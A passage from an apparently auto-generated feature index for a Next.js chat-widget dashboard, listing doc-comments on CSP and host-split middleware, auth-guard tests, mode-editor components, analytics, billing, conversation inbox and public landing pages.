Edge-safe, no Buffer. 2. Set x-nonce on the forwarded request headers so Server Components can read it with headers().get('x-nonce') for explicit <Script nonce=…>. 3. Set Content-Security-Policy on the request headers — Next.js parses this internally (not the response header) to stamp the extracted nonce onto its own inline hydration <script> tags. 4. Mirror the CSP onto the response headers so the browser enforces it. Ref: https://nextjs.org/docs/app/guides/content-security-policy The /v1/* widget bundle is excluded via the matcher — it keeps its permissive CORS headers from next.config and must never get a dashboard CSP. Public routes (/login, /logout, /legal/*) still get the nonce CSP (the auth-guard lets those through, and CSP adds no harm to public pages). The public Larёk pages (/l/{slug}) get the same CSP PLUS the widget asset origin on style-src/font-src — they are served on the S2 public host (lily.blal.pro), where the embed-widget's fonts.css/woff2 are CROSS-origin (on the dashboard's own host, embed.blal.pro, 'self' covers them). See buildCsp's doc-comment for the per-directive audit. @feature embed-app.middleware.host-split-landing THE DEFECT this fixes: Traefik routes BOTH embed.${DOMAIN} (the authed dashboard) and lily.${DOMAIN} (the S2 PUBLIC host — QR scans, /l/{slug}) to this SAME Next app (`Host(embed.$DOMAIN) || Host(lily.$DOMAIN)`, compose/embed-dashboard.yml). Before this feature, "/" always rendered the authed dashboard home — so lily.blal.pro/ handed any anonymous visitor the internal dashboard shell (or, in dev, straight into it via the dev-token fallback; in prod, the /login screen) instead of a public surface. Wrong on a brand host that gets shared/QR-posted. THE FIX: a host-aware rewrite, scoped to the bare root ONLY. - lily host,  "/"   → rewritten to LILY_LANDING_PATH (the door-B deep-sell micro-landing: Lily intro + live demo + poster CTA, see lilyLandingCopy.ts). Public — bypasses the auth-guard entirely (isLilyRoot short-circuits isPublic below). - lily host,  "/l/*", "/q", static assets → UNTOUCHED, exactly as before (only the bare root is special-cased). - embed host, "/"   → UNTOUCHED — still the authed dashboard home. A REWRITE (not a redirect) keeps the address bar on the clean, canonical "/" — the same shareable-URL discipline as the QR-posted /l/{slug} links. HOST DETECTION: the ONLY signal that tells the two hosts apart this far down the stack is the Host header (both requests hit the identical Next app/port). `lilyHost()` derives the expected hostname from S2_PUBLIC_BASE — the SAME env var lib/lilyPage.server.ts already uses for canonical URLs and QR redirects (domain-agnostic per handoff ⚑1: one source of truth, prod is a one-var flip) — rather than hard-coding "lily.blal.pro" a second time. Falls closed to "false" (⇒ dashboard) on a missing/unknown Host (bare-IP health checks, unproxied local dev) — never accidentally serves the micro-landing where the dashboard was expected. The micro-landing also rides the SAME widened CSP the Larёk pages get (isLarekPage covers isLilyRoot + LILY_LANDING_PATH too) — it mounts the real embed-widget inline exactly like /l/{slug} does, so it needs the same cross-origin style-src/font-src allowance.  
  *embed-dashboard/src/middleware.ts:2*
- **`embed-app.middleware.auth-guard.env-gate`** — The dashboard auth guard's dev-token fallback is gated on OPENALICE_ENV === "dev". These tests pin that security contract: - prod/staging (OPENALICE_ENV != "dev"): a stray dev-token env var must NOT open the dashboard — the guard redirects to /login. - dev (OPENALICE_ENV = "dev"): the dev-token fallback keeps the no-login workflow working. - a real live session cookie always passes, regardless of env. - public prefixes (/login, /legal) never redirect.  
  *embed-dashboard/src/test/middlewareAuthGuard.test.ts:2*
- **`embed-app.middleware.host-split-landing.test`** — Pins the fix for the defect described in middleware.ts's `embed-app.middleware.host-split-landing` doc comment: Traefik routes BOTH embed.${DOMAIN} (authed dashboard) and lily.${DOMAIN} (S2 public host) to this same Next app — before this feature, the lily host's bare root rendered (or bounced through /login toward) the authed dashboard. Proves, at the middleware decision layer (no real Next runtime needed — same mocking approach as middlewareAuthGuard.test.ts): - lily-host "/"        → rewritten to the micro-landing. - embed-host "/"       → untouched, still the dashboard. - lily-host "/l/{slug}"→ untouched (only the bare root is special-cased). - neither host leaks the other's root. - the micro-landing bypasses the auth-guard entirely (public even with zero session, in a prod-like env). - the query string survives the rewrite (?lang= from the footer's language row). - the widened (Larёk) CSP applies to the rewritten response — the micro-landing mounts the real widget inline too. - host detection follows S2_PUBLIC_BASE (domain-agnostic, no hard-coded second copy of "lily.blal.pro"). - /impressum, /privacy, /terms never require a session (the gap this branch also closed — the micro-landing's footer links to them).  
  *embed-dashboard/src/test/middlewareHostSplit.test.ts:2*
- **`embed-app.middleware.nonce-csp`** — strict per-request nonce Content-Security-Policy to every non-`/v1/*` response — including static files under `public/` like this page — with NO `'unsafe-inline'` in `script-src`. An inline `<script>` body has no way to know that per-request nonce (this is a static file, not server-rendered), so it would be silently blocked. A `<script src="…">` pointing at a same-origin file is allowed by `script-src 'self'` regardless of the nonce — hence this file instead of an inline block.  
  *embed-dashboard/public/playground.js:8*

### embed-app/mode
- **`embed-app.mode.advanced-panel`** — The mode editor's progressive-disclosure "Advanced" region (.oa-advanced): escalation, CTA text, conversion goals, and proactive triggers fold behind one row. Extracted from ModeEditor (structural decomposition only) — pure composition. Each block owns its own local state (see the individual Mode*Section components); only setIsDirty is threaded through from the parent ModeEditor since dirty-tracking is shared across all of them.  
  *embed-dashboard/src/app/(dash)/widgets/mode/ModeAdvancedPanel.tsx:4*
- **`embed-app.mode.agent-mode-section`** — Mode editor — "Agent mode" section: a read-only display of the sales/support/brand agent mode (set in the Persona tab, not editable here). Extracted from ModeEditor (structural decomposition only). State is fully local: nothing outside this section reads MODES/currentMode. One inline style is intentionally KEPT (not moved to mode.module.css): the mode-card `cursor: default` / `userSelect: none` pair. ModeEditor.test.tsx's "mode cards have cursor:default" test reads `(item as HTMLElement).style.cursor` directly — that only reflects an element's OWN inline style attribute, never a class's cascaded value — so moving this one to CSS would silently break that assertion.  
  *embed-dashboard/src/app/(dash)/widgets/mode/ModeAgentModeSection.tsx:4*
- **`embed-app.mode.call-mode-section`** — Mode editor — "Call mode" section: call_mode select (off/voice), REAL and persisted via saveModeAction. Extracted from ModeEditor (structural decomposition only). Uncontrolled (Select's defaultValue) — same dirty-tracking note as ModeDefaultModeSection.  
  *embed-dashboard/src/app/(dash)/widgets/mode/ModeCallModeSection.tsx:4*
- **`embed-app.mode.cta-section`** — Mode editor's advanced-panel "CTA button text" block — cta_text, REAL and persisted via saveModeAction. Extracted from ModeEditor (structural decomposition only). State is fully local: nothing outside this section reads ctaText.  
  *embed-dashboard/src/app/(dash)/widgets/mode/ModeCtaSection.tsx:4*
- **`embed-app.mode.default-mode-section`** — Mode editor — "Default mode" section: default_mode select (chat/call/ portrait-dock/auto), REAL and persisted via saveModeAction. Extracted from ModeEditor (structural decomposition only). Uncontrolled (Select's defaultValue) — dirty tracking rides the parent form's onChange via the underlying native input the Select syncs, so no local state is needed.  
  *embed-dashboard/src/app/(dash)/widgets/mode/ModeDefaultModeSection.tsx:4*
- **`embed-app.mode.editor`** — Client editor for a widget's default_mode and call_mode. Backed by openalice-tenants (PATCH /me/widgets/{id}). The persisted fields are: - default_mode: "chat" | "call" | "portrait-dock" | "auto" - call_mode:    "off" | "voice" CTA text, Escalation rule, Conversion goals, and Proactive triggers are also REAL and persisted via saveModeAction (they carry a "Persisted" badge). The chat_relay escalation mode honestly notes that the live in-widget reply half is a later phase; the mode itself persists. Proactive triggers (§proactive-triggers): up to 8 rules that let the widget START the conversation (time on page / scroll depth / exit intent / URL match → teaser bubble or open panel). Serialized into the proactive_triggers_json hidden input — the same pattern as conversion_goals_json — and sanitized server-side in saveModeAction. Loading / saved / error state mirrors AnalyticsView's pattern. Structural decomposition (2026-07-14): the page was split section-by- section into Mode*Section components (see the sibling files in this directory), mirroring the PersonaEditor decomposition that landed the same day. This file is now pure composition + the one piece of state that's genuinely shared across every section (isDirty). Every field's own state (escalation mode, CTA text, goals, triggers — including the conversion_goals_json / proactive_triggers_json hidden inputs) moved with its section — no behavior, wording, or persisted value changed.  
  *embed-dashboard/src/app/(dash)/widgets/mode/ModeEditor.tsx:4*
- **`embed-app.mode.editor.test`** — Tests for the Proactive-triggers block of the Mode editor (§proactive-triggers / EMBED_PROACTIVE_TRIGGERS_V1). Covers the render + interaction surface that drives the proactive_triggers_json hidden input: - Renders with the field ABSENT (and null) → empty rule list, "[]" in the hidden input, honest empty-state copy, Add rule enabled. - Seeds the rule rows + hidden input from an existing config. - Add rule appends a sane default (time/30s/teaser/enabled) and serialises it; Remove drops it back out. - The message textarea has the 280-char maxLength and a live counter. - Threshold inputs carry the contract min/max bounds and clamp on blur. - Switching the rule type swaps the threshold field and keeps only that type's threshold key in the serialized JSON. - At 8 rules the Add button disables with an honest hint. The saveModeAction server action is mocked via vi.mock so no real network call happens (mirrors BusinessHoursEditor.test.tsx).  
  *embed-dashboard/src/test/ModeEditor.test.tsx:2*
- **`embed-app.mode.escalation-section`** — Mode editor's advanced-panel "Escalation" block — escalation_mode + escalation_target + escalation_message, REAL fields persisted via saveModeAction. Extracted from ModeEditor (structural decomposition only). escalationMode is section-local state (only this block's conditional target field reads it) — setIsDirty is threaded in because the Select is the library ARIA combobox (not a native <select>), so its onValueChange doesn't bubble a native "change" event to the parent form's onChange the way an uncontrolled Select does.  
  *embed-dashboard/src/app/(dash)/widgets/mode/ModeEscalationSection.tsx:4*
- **`embed-app.mode.goals-section`** — Mode editor's advanced-panel "Conversion goals" block — an ordered list of tracked goals (label + optional url), REAL and persisted via saveModeAction (conversion_goals_json hidden input). Extracted from ModeEditor (structural decomposition only) — the hidden input moved with the state it serializes; it's still a descendant of the parent <form> (inside the shared .oa-advanced <details>), so form submission is unaffected by the new DOM position.  
  *embed-dashboard/src/app/(dash)/widgets/mode/ModeGoalsSection.tsx:4*
- **`embed-app.mode.header-bar`** — Mode editor page header — EditorHead (crumb/title/back+publish actions) plus the save-error banner. Extracted from ModeEditor (structural decomposition only). Must be rendered INSIDE the parent <form>; the "Publish" submit button submits that form via normal DOM bubbling — no formAction prop is needed here.  
  *embed-dashboard/src/app/(dash)/widgets/mode/ModeHeaderBar.tsx:4*
- **`embed-app.mode.preview-panel`** — Mode editor — right-column CTA preview (presentational, dark widget mockup). Extracted from ModeEditor (structural decomposition only). The mode-card name lookup is intentionally recomputed here (from widget.mode + this component's own translations) rather than threaded down from the parent — it's a pure derivation of props already passed in full (widget), the same pattern PersonaPreviewPanel uses for its own local `memoryEnabled` derivation.  
  *embed-dashboard/src/app/(dash)/widgets/mode/ModePreviewPanel.tsx:4*
- **`embed-app.mode.triggers-section`** — Mode editor's advanced-panel "Proactive triggers" block (§proactive-triggers): up to 8 rules that let the widget START the conversation (time on page / scroll depth / exit intent / URL match → teaser bubble or open panel), REAL and persisted via saveModeAction (proactive_triggers_json hidden input, same pattern as conversion_goals_json). Extracted from ModeEditor (structural decomposition only) — the hidden input moved with the state it serializes; it's still a descendant of the parent <form> (inside the shared .oa-advanced <details>), so form submission is unaffected by the new DOM position.  
  *embed-dashboard/src/app/(dash)/widgets/mode/ModeTriggersSection.tsx:4*

### embed-app/observability
- **`embed-app.error-beacon`** · _alpha_ · since 0.1.0 — Reports uncaught window errors + unhandled promise rejections to the agent-lite /v1/embed/client-error collector (observability).  
  *embed-dashboard/src/lib/errorBeacon.ts:8*
- **`embed-app.error-beacon-mount`** · _alpha_ · since 0.1.0 — Root client component that installs the dashboard error beacon on mount.  
  *embed-dashboard/src/components/ErrorBeacon.tsx:10*

### embed-app/onboarding
- **`embed-app.onboarding.steps`** — The five wizard step views + the progress dot (split from the page; pure props over the wizard state).  
  *embed-dashboard/src/app/onboarding/steps.tsx:2*
- **`embed-app.onboarding.wizard`** — The wizard STATE machine — state shape, actions, validation, reducer (split from the page: viewlogic wave; pure logic, no JSX).  
  *embed-dashboard/src/app/onboarding/wizard.ts:2*

### embed-app/page
- **`embed-app.page.abtests`** — A/B experiment management screen. Loads the widget from openalice-tenants (GET /me/widgets/{id}) by the `?id=` query param to resolve its public_id, then loads the widget's experiments (GET /me/experiments?widget_id=) and hands both to the client ABTestsView, which manages lifecycle actions and fetches per-variant results from the /api/experiments BFF proxy. Server component so the tenant token stays server-side. Renders clear states when no id is supplied, the dashboard isn't configured, or the widget isn't found — mirroring the analytics screen.  
  *embed-dashboard/src/app/(dash)/widgets/abtests/page.tsx:2*
- **`embed-app.page.analytics`** — Conversion analytics — real aggregated KPIs, real by_day sparkline, real funnel (conversations → engaged ≥2 turns → escalations), a REAL account-level intent breakdown, and REAL revenue attribution wired to the conversion data. Date-range toggle (7/30/90) uses ?days= searchParam and works server-side so links are shareable and the full page re-fetches real data on change. Real data: - KPI stat row: conversations, messages, escalation count, cost, deflection rate - Sparkline: by_day from getAccountAnalytics(days) - Funnel: conversations → escalations (2-stage; the "Engaged ≥2 turns" proxy was removed — its heuristic was unreliable and always showed ~0% drop) - Top intents: getAccountIntentInsights(days) — merged (intent, count) across widgets, count-descending. Empty until conversations are classified. - Revenue attribution: getAccountRevenueInsights(days) — converted count, total value, conversion rate. Empty until conversions are marked.  
  *embed-dashboard/src/app/(dash)/analytics/page.tsx:2*
- **`embed-app.page.analytics`** — Conversion analytics — real aggregated KPIs, real by_day sparkline, real funnel (conversations → engaged ≥2 turns → escalations), a REAL account-level intent breakdown, and REAL revenue attribution wired to the conversion data. Date-range toggle (7/30/90) uses ?days= searchParam and works server-side so links are shareable and the full page re-fetches real data on change. Real data: - KPI stat row: conversations, messages, escalation count, cost, deflection rate - Sparkline: by_day from getAccountAnalytics(days) - Funnel: conversations → escalations (2-stage; the "Engaged ≥2 turns" proxy was removed — its heuristic was unreliable and always showed ~0% drop) - Top intents: getAccountIntentInsights(days) — merged (intent, count) across widgets, count-descending. Empty until conversations are classified. - Revenue attribution: getAccountRevenueInsights(days) — converted count, total value, conversion rate. Empty until conversions are marked.  
  *embed-dashboard/src/app/(dash)/analytics/analyticsFormat.ts:7*
- **`embed-app.page.billing`** — Billing & plan screen — real, data-driven. Fetches the tenant's current Embed plan + monthly message usage + the plan catalog from openalice-tenants (GET /me/billing) server-side, renders a usage meter and a catalog grid with Upgrade CTAs that POST /me/billing/checkout (via the checkoutAction server action) and redirect the browser to the hosted Mollie checkout URL. Mollie is the payment processor — NOT Stripe or Paddle (org rule). Graceful gating: billing is FEATURE-FLAGGED on the tenants side (MOLLIE_API_KEY). When billing_enabled is false the page still renders the current plan + catalog but shows a "billing coming soon" banner and disables the Upgrade CTAs — it never crashes. Not-signed-in and error states get their own clear branches. Balance card (prepaid): Fetches GET /me/billing/balance server-side — mirrors the getBilling() pattern. Shows €X.XX available, context-aware status line, per-unit rates, recent transaction ledger, and a Top-up CTA (disabled when Mollie is not configured — billing_enabled gate reused from the plan checkout path).  
  *embed-dashboard/src/app/(dash)/settings/billing/page.tsx:2*
- **`embed-app.page.billing-return`** — Post-checkout return page — where Mollie sends the customer back after they complete (or abandon) the hosted checkout. The redirect_url carries no authoritative status (Mollie only confirms via the server-side webhook), so this page re-reads GET /me/billing and reflects whatever the webhook has already applied: a promoted plan means "you're live", while a still-Free plan means "we're confirming your payment" (the webhook may land a moment later). Always offers a link back to billing.  
  *embed-dashboard/src/app/(dash)/settings/billing/return/page.tsx:2*
- **`embed-app.page.brand`** — Per-widget Appearance editor screen. Loads the real widget from openalice-tenants (GET /me/widgets/{id}) by the `?id=` query param and hands it to the client AppearanceEditor, which saves appearance.* via the saveAppearanceAction server action (PATCH /me/widgets/{id}). Server component so the tenant token stays server-side. Mirrors the persona page error-state pattern.  
  *embed-dashboard/src/app/(dash)/widgets/brand/page.tsx:2*
- **`embed-app.page.business-hours`** — Per-widget Business-Hours / offline editor screen (§business-hours, migration 0030). Loads the real widget from openalice-tenants (GET /me/widgets/{id}) by the `?id=` query param and hands it to the client BusinessHoursEditor, which saves the business_hours JSONB blob {enabled, timezone, offline_message, weekly} via saveBusinessHoursAction (PATCH /me/widgets/{id} draft). When a visitor opens the widget outside the configured open hours, agent-lite computes is_offline server-side and the widget shows the offline message + the (Slice-1) lead-capture form. Server component so the tenant token stays server-side. Mirrors the Mode page error-state pattern.  
  *embed-dashboard/src/app/(dash)/widgets/hours/page.tsx:2*
- **`embed-app.page.conversations`** — Conversations page — server-rendered shell + real two-pane client. Server component responsibilities: 1. Fetch widget list (listWidgets) — used for widget selector tabs. 2. Determine active widget from ?widget=<public_id> or default to first. 3. Fetch real aggregate analytics for the stat strip. 4. Fetch first page of conversations for the active widget (SSR). 5. Pass all data to ConversationsClient (client component). The ConversationsClient handles widget switching, load-more pagination, and transcript loading — all via the /api/conversations proxy routes. The proxy routes inject x-internal-secret server-side; the secret never reaches the browser.  
  *embed-dashboard/src/app/(dash)/conversations/page.tsx:2*
- **`embed-app.page.conversations.client`** — Telegram-grade two-pane messenger (redesign 2026-07-10). Receives initial data from the server component (widget list, first widget's conversation list). One fixed-height surface, two independently scrolling panes: - LEFT: conversation rows (avatar + smart time + preview + meta glyphs) under a sticky search/filter bar; auto-paginating via an IntersectionObserver sentinel (the "Load more" button stays as the no-IO fallback). - RIGHT: the thread — sticky date dividers, clustered bubbles mirroring the widget's bubble language, operator composer, notes drawer. Keyboard: ↑/↓ move through the list (roving tabindex), Enter/Space opens, Escape slides the thread away on mobile. Deep links: ?id=<conversation> opens that conversation on mount, and selection/widget changes are mirrored into the URL via history.replaceState. Everything else is preserved from the previous incarnation: - Widget switching (a compact library Select in the list-pane header — the FullHD above-the-fold pass replaced the pill tablist), honest empty states (retention=0 / no traffic) - Live operator takeover (EMBED_LIVE_TAKEOVER_V1): visibility-aware 3s transcript poll while a conversation is open (skipped for ENDED conversations), Take over / Release, operator composer, control_mode badges + "Needs human" filter - 15s list refresh poll (skipped while document.hidden) - Auto-scroll to newest message when the operator is near the bottom - 401 session-expired recovery banner - Mobile master-detail (tap → thread slides in, ← / Escape returns)  
  *embed-dashboard/src/app/(dash)/conversations/ConversationsClient.tsx:4*
- **`embed-app.page.conversations.client`** — Tests for the Telegram-grade conversations messenger. Covers: convFormat helpers (pure, UTC-pinned): - formatSmartTime: today→HH:MM, this week→weekday, this year→"dd Mon", older→"dd Mon yy". - formatDayLabel: Today / Yesterday / dated label with year when older. - utcDayKey / idMonogram / avatarAccentIndex determinism. ConvRow (Telegram anatomy): - Renders the preview text, avatar monogram, count pill (aria msgCount plural), sentiment glyph, converted ●, session-only fallback line. - Has role="option" and responds to keyboard Enter. ConversationsClient (full component): - EmptyListPane honest states (retention 0 / 90). - Error banner when initialError is provided. - Widget picker (list-pane Select) only when there are multiple widgets. - Row click → transcript fetch; ArrowDown/ArrowUp roving focus + Enter opens; Escape returns focus to the selected row (mobile back). - Deep link: initialSelectedId opens that conversation on mount and mirrors it into the URL (?id=). TranscriptPane (thread view, rendered directly — it is exported): - Sticky date dividers ("Today" + dated pill across days). - Consecutive same-speaker bubbles cluster under ONE speaker label. - Unknown roles render as centered system lines. - role="log" thread region; mobile back affordance; collapsible notes drawer with count. fetch() is mocked globally to avoid network calls.  
  *embed-dashboard/src/test/ConversationsClient.test.tsx:2*
- **`embed-app.page.conversations.client`** — Tests for the live operator-takeover console (EMBED_LIVE_TAKEOVER_V1) inside ConversationsClient: ControlBadge: - List rows show "Human · <name>" only while control_mode=human (agent rows stay unlabelled). - Detail header shows the widget's agent name (widget.name, default "Lily") in agent mode, "Human · <name>" in human mode (defensive default when the transcript omits control_mode). Needs-human filter chip: - Narrows rows to control_mode=human OR intent=escalation. - Toggling off restores the full list. Take over / Release: - Agent mode shows "Take over"; clicking POSTs /takeover and flips the badge to the server-confirmed operator name. - Human mode shows "Release to {agentName}"; clicking POSTs /release. OperatorComposer: - Disabled with the "Take over to reply" hint while control_mode=agent (Send disabled too). - Enabled in human mode; sending POSTs /operator-message {text} and optimistically appends an operator bubble. Operator turns: - role="operator" messages render with the "<name> · team" speaker label. fetch() is mocked with a URL/method router; the 3s poll re-serves the same transcript fixture so tests stay deterministic.  
  *embed-dashboard/src/test/ConversationsOperator.test.tsx:2*
- **`embed-app.page.conversations.client`** — Tests for the inbox-depth console additions (#773 wave 2) inside ConversationsClient: Search bar: - The no-content-search hint is shown. - Typing fires a debounced list fetch carrying ?q=<text>. - A search that returns nothing shows the "no results" empty state. Tag filtering: - A row renders its tags as clickable chips. - Clicking a row tag chip fetches the list filtered by ?tag=<tag> and shows the active tag-filter chip; Clear resets it. Tag editor (detail header): - Existing tags render with a remove ✕. - Adding a tag POSTs /tags and shows the new chip. - Removing a tag POSTs DELETE /tags/{tag} and drops the chip. Notes panel (detail): - Existing notes render (text + author). - Adding a note POSTs /notes {text} and optimistically prepends it. fetch() is mocked with a URL/method router. Real timers + userEvent are used (the search debounce fires within waitFor's polling window).  
  *embed-dashboard/src/test/ConversationsInbox.test.tsx:2*
- **`embed-app.page.dashboard-home`** — Customer dashboard home — real aggregated stats + real widget cards + data-derived weekly-insight teaser. Data sources: - listWidgets()              → real widget cards (name, mode, status) - getAccountAnalytics(30)    → stat strip (conversations, deflection rate, escalations, cost); insight teaser derived from per-widget escalation counts. Honest empty-states: - Stat strip shows "—" + neutral delta when no data / not configured. - Widget grid shows an honest empty-state card when no widgets exist. - Insight teaser shows "Insights appear once you have traffic." when there is no data yet.  
  *embed-dashboard/src/app/(dash)/page.tsx:2*
- **`embed-app.page.forgot-password`** — "Forgot password?" screen — single cream card (no split layout, no AppShell), reusing the login page's module styles. The email form posts to forgotPasswordAction which relays to the tenants auth-proxy; the page then shows ONE success view regardless of whether the email exists (anti-enumeration — see actions.ts).  
  *embed-dashboard/src/app/forgot-password/page.tsx:2*
- **`embed-app.page.insights`** — Weekly insight digest wired to real data: REAL: cost card (LLM spend, conversations, cost/chat from getAccountAnalytics(7)) REAL: volume + escalation cards (totals + by_day from getAccountAnalytics(30)) REAL: per-widget highlight (widget with highest escalation count) REAL: sentiment card (breakdown + avg_score from getSentimentInsights per widget, 30d) REAL: knowledge gaps (top unanswered questions fan-out across all widgets, 30d) REAL: top-rated conversation (highest CSAT in 30d, fan-out across widgets, tie-broken by length then recency; honest empty state when unrated) Every card is wired to real data with an honest empty state — no fake numbers, no coming-soon placeholders.  
  *embed-dashboard/src/app/(dash)/insights/insightsData.ts:8*
- **`embed-app.page.insights`** — Weekly insight digest wired to real data: REAL: cost card (LLM spend, conversations, cost/chat from getAccountAnalytics(7)) REAL: volume + escalation cards (totals + by_day from getAccountAnalytics(30)) REAL: per-widget highlight (widget with highest escalation count) REAL: sentiment card (breakdown + avg_score from getSentimentInsights per widget, 30d) REAL: knowledge gaps (top unanswered questions fan-out across all widgets, 30d) REAL: top-rated conversation (highest CSAT in 30d, fan-out across widgets, tie-broken by length then recency; honest empty state when unrated) Every card is wired to real data with an honest empty state — no fake numbers, no coming-soon placeholders.  
  *embed-dashboard/src/app/(dash)/insights/page.tsx:2*
- **`embed-app.page.install`** — Per-widget install screen. Loads the real widget from openalice-tenants (GET /me/widgets/{id}) by the `?id=` query param, then hands the real public_id and default_mode to the client InstallClient component. Server component so the tenant token stays server-side. Mirrors the persona page error-state pattern.  
  *embed-dashboard/src/app/(dash)/widgets/install/page.tsx:2*
- **`embed-app.page.knowledge`** — The Knowledge WIKI route (KB ULTRAWIKI M2) — the tenant's micro-Wikipedia for a single widget. Server side, this page resolves everything the wiki needs in one pass: - the widget (`?id=`), - the initial source library (GET /me/widgets/{id}/kb/sources — every re-fetches through the BFF), - the plan's KB-pages quota (GET /me/billing → kb_pages_used/quota; best-effort — the quota meter hides when billing is unreachable). The old single-brand_kb_url editor retired with M1 (which seeded brand_kb_url as a url source); adding pages now goes through the wiki's batch composer. Honest by construction: every number on the page is measured (chunk counts from rag_chunks, statuses from the ingest writeback) — no theatre.  
  *embed-dashboard/src/app/(dash)/widgets/knowledge/page.tsx:2*
- **`embed-app.page.leads`** — Per-widget leads screen. Server component: resolves the widget from openalice-tenants by the `?id=` query param, fetches captured leads from the agent-lite internal read surface (GET /internal/insights/leads?widget_id=…&days=30&limit=100), and hands them to the client LeadsView for rendering. The INTERNAL_SECRET never reaches the browser — listLeads() is server-only (via agentLite.ts + the `server-only` import there). Mirrors the webhooks screen's notice / error-state pattern exactly.  
  *embed-dashboard/src/app/(dash)/widgets/leads/page.tsx:2*
- **`embed-app.page.leads`** — Regression test for the Leads server page's id-format bug (dashboard audit 2026-07-08, "545/1795 class"): the page resolves the widget by its INTERNAL uuid (`?id=<uuid>`) via getWidget(), but agent-lite's `embed_leads` table — and therefore listLeads()/`/internal/insights/leads` — is keyed by the widget's PUBLIC id (`wgt_*`), exactly like getConversationAnalytics() already correctly uses (see src/app/widgets/analytics/page.tsx: `publicId={widget.public_id}`). Calling listLeads(widget.id, ...) — the internal uuid — can never match a single embed_leads row, so the Leads inbox showed "0" unconditionally, regardless of how many leads were actually captured (confirmed live: DB had 2 embed_leads rows for wgt_embed_landing; the dashboard showed 0 until this fix). This test locks the fix in place: listLeads() — and the CSV-export widgetId LeadsView threads through — must receive widget.public_id, never widget.id.  
  *embed-dashboard/src/test/leadsPage.test.tsx:2*
- **`embed-app.page.lily-landing`** — The S2 public host's bare-root LABEL (lily.blal.pro/ — see middleware.ts's `embed-app.middleware.host-split-landing` feature for the defect this closes: the bare root used to render the authed dashboard on a host anyone can be QR'd/linked to). Reached ONLY via the middleware rewrite of the lily host's "/" — this file's own route (/lily-landing) is never linked to, kept public in PUBLIC_PREFIXES purely as a defensive fallback. THINNED TO A PRODUCT-HOST LABEL (2026-07-15, IA unification — TWO-DOOR-COPY-2026-07-15 §9, founder-approved verdict "Да делаем унификацию"): this page used to be door B's full deep-sell page (the "No website? No problem." pitch, four proof bullets, the niche line, a live embed-widget demo, a "Get your poster" CTA). NAO's worry was that the home page's Door B tile jumped to a DIFFERENT domain and a visitor could "get lost" — the founder's verdict: the BUYER journey lives entirely on openalice.eu (Door A → /embed, Door B → /qr); lily.blal.pro (→ heylily.de) is the PRODUCT HOST end customers see after scanning a printed QR, not a marketing surface for buyers. Door B's deep-sell copy MOVED to openalice.blal.pro/qr (openalice-platform apps/landing) — see that repo's `src/app/(main)/qr/page.tsx`. What is left here is a minimal label for anyone who lands on the bare root directly instead of a real `/l/{slug}` QR: Lily's own name (her brand mark, same display type the hosted page gives it) + a quiet "Powered by OpenAlice" credit linking back to the marketing site. CRITICAL: `/l/{slug}` (the real printed-QR destination) is UNTOUCHED by this change — see app/l/[slug]/page.tsx, completely separate route, completely separate file. SEO: robots noindex (this is a bare-host fallback, not a page anyone should land on organically — the real marketing surface is /qr on openalice.eu now, not this host). THEME: `LilyPageFrame` stamps `data-theme="auto"` — light/dark follow the visitor's `prefers-color-scheme`, identical mechanism to the hosted page (no page-specific theme logic here). LOCALE: a small static EN/DE dict (lib/lilyLandingCopy.ts), switched via `?lang=` — zero-JS, same pattern as the hosted page's language row.  
  *embed-dashboard/src/app/lily-landing/page.tsx:2*
- **`embed-app.page.lily-landing.loading`** — Suspense fallback for the micro-landing (/lily-landing, reached via the lily host's root rewrite — see middleware.ts's host-split-landing feature). Without a route-local loading.tsx, Next.js falls through to the APP-ROOT loading.tsx (src/app/loading.tsx) — which is explicitly dashboard-shaped (stat strip + widget-grid skeleton, see its own doc comment). That fallback showed up in the raw SSR stream on lily.blal.pro/ (caught live 2026-07-14, curl proof, right after wiring the host-split): invisible in a real browser once React's streaming hydration swaps it in before paint settles, but wrong for a no-JS client or a crawler that never runs the swap — and dashboard-branded, which is exactly the leak this whole feature exists to close. Every other non-dashboard route in this app carries its own loading.tsx for the identical reason (see login/loading.tsx's doc comment); this is the micro-landing's copy. THINNED (2026-07-15, IA unification — TWO-DOOR-COPY §9): shaped like the real page.tsx now that it's a thin label — header name skeleton → footer skeleton (legal links + the "Powered by OpenAlice" credit). No chat/zone placeholders anymore (the page mounts no live demo). Built from the SAME LilyPageFrame/lilyClassNames/--lily-* tokens + the hosted page's skeleton-bar utility classes (l/[slug]/lilyPublic.module.css, reused here rather than forked) — no new shimmer CSS, both themes free.  
  *embed-dashboard/src/app/lily-landing/loading.tsx:2*
- **`embed-app.page.lily-public`** — The hosted Lily page — S2 P0 item 1: `GET /l/{slug}` (S2-ARCHITECTURE Р1). PUBLIC (middleware allows /l unauthenticated) + SSR: the page config is resolved server-side from embed-accounts (`GET /public/pages/{slug}` over the docker network) and rendered mobile-first as a single column of static blocks around the REAL embed-widget mounted inline (Р5). Block order + all visitor copy = QR-MODE-COPY-PACK §2 (DE/EN canon, fr/es/it/pt faithful — see lilyPageCopy.ts). Compliance slots: operator Impressum (DE-mandatory; absent → placeholder prompt), Datenschutz link (operator override or our DSGVO-Baustein on the legal host), the EU AI Act Art. 50 line, powered-by + referral CTA. LOCALE: blocks.locale is the page default; the visitor overrides via ?lang= (the footer language row links there — zero-JS switching). The copy is a server-rendered static dict, NOT the dashboard next-intl catalog — decision documented in lilyPageCopy.ts. The root layout's <html lang> follows the dashboard cookie, so the page stamps its own lang on <main> for honest a11y/SEO signals. FALLBACK MODE (P0 item 2): resolve.capped → the chat slot renders the «Lily macht gerade Pause» card server-side (no widget script at all); a widget bundle/mount failure client-side swaps to the same card (LilyChatMount watchdog). The static blocks are SSR either way — the kill-switch acceptance holds by construction. <noscript> visitors get the pause card too. SEO: honest title/description from the point name; canonical = {S2_PUBLIC_BASE}/l/{slug} (domain-agnostic, handoff ⚑1); robots INDEX (overrides the dashboard's noindex root default — this is the customer's public storefront page). PERF: zero client JS beyond the Next runtime + the one chat-mount island + the widget script itself.  
  *embed-dashboard/src/app/l/[slug]/page.tsx:2*
